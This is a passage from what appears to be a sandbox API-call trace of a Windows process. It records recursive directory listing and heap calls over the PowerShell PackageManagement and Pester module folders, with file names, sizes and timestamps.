ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0269.172] GetProcessHeap () returned 0xc10000 [0269.172] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0269.173] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc718a55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0269.325] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc718a55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.325] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc79e72b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0269.325] GetProcessHeap () returned 0xc10000 [0269.325] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0269.326] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc79e72b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0269.365] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc79e72b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.365] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.ArchiverProviders.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0269.365] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.CoreProviders.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0269.365] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MetaProvider.PowerShell.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0269.365] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MsiProvider.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0269.366] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MsuProvider.resources.dll", cAlternateFileName="MIADC5~1.DLL")) returned 1 [0269.366] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.resources.dll", cAlternateFileName="MIC579~1.DLL")) returned 1 [0269.366] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PackageManagement.resources.dll", cAlternateFileName="MI8D9C~1.DLL")) returned 1 [0269.366] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PackageManagement.resources.dll", cAlternateFileName="MI8D9C~1.DLL")) returned 0 [0269.366] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0269.367] GetProcessHeap () returned 0xc10000 [0269.367] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0269.367] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a780592, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.ArchiverProviders.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0269.368] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a780592, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.CoreProviders.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0269.368] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a780592, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0269.368] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a780592, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MetaProvider.PowerShell.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0269.368] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MsiProvider.dll", cAlternateFileName="MID877~1.DLL")) returned 1 [0269.369] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MsuProvider.dll", cAlternateFileName="MI0F1E~1.DLL")) returned 1 [0269.369] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PackageManagement.dll", cAlternateFileName="MI6305~1.DLL")) returned 1 [0269.369] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x405f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement.format.ps1xml", cAlternateFileName="PACKAG~1.PS1")) returned 1 [0269.369] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement.psd1", cAlternateFileName="PACKAG~1.PSD")) returned 1 [0269.369] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2999, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageProviderFunctions.psm1", cAlternateFileName="PACKAG~1.PSM")) returned 1 [0269.369] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2999, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageProviderFunctions.psm1", cAlternateFileName="PACKAG~1.PSM")) returned 0 [0269.369] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0269.370] GetProcessHeap () returned 0xc10000 [0269.370] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0269.370] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc718a55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0 [0269.370] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0269.370] GetProcessHeap () returned 0xc10000 [0269.370] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0269.371] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4698376a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4698376a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester", cAlternateFileName="")) returned 1 [0269.372] GetProcessHeap () returned 0xc10000 [0269.372] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0269.372] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4698376a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4698376a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0269.374] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4698376a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4698376a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.374] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7fefb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.3.5", cAlternateFileName="3351CC~1.5")) returned 1 [0269.374] GetProcessHeap () returned 0xc10000 [0269.374] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0269.375] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7fefb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0269.398] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7fefb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.398] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7ffa5e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1 [0269.398] GetProcessHeap () returned 0xc10000 [0269.398] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0269.399] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\bin\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7ffa5e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0269.399] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7ffa5e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.399] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 1 [0269.400] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 0 [0269.400] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0269.400] GetProcessHeap () returned 0xc10000 [0269.400] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0269.400] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1 [0269.400] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2756, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHANGELOG.md", cAlternateFileName="")) returned 1 [0269.400] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800002, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0269.400] GetProcessHeap () returned 0xc10000 [0269.400] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0269.401] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800002, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0269.414] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800002, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, 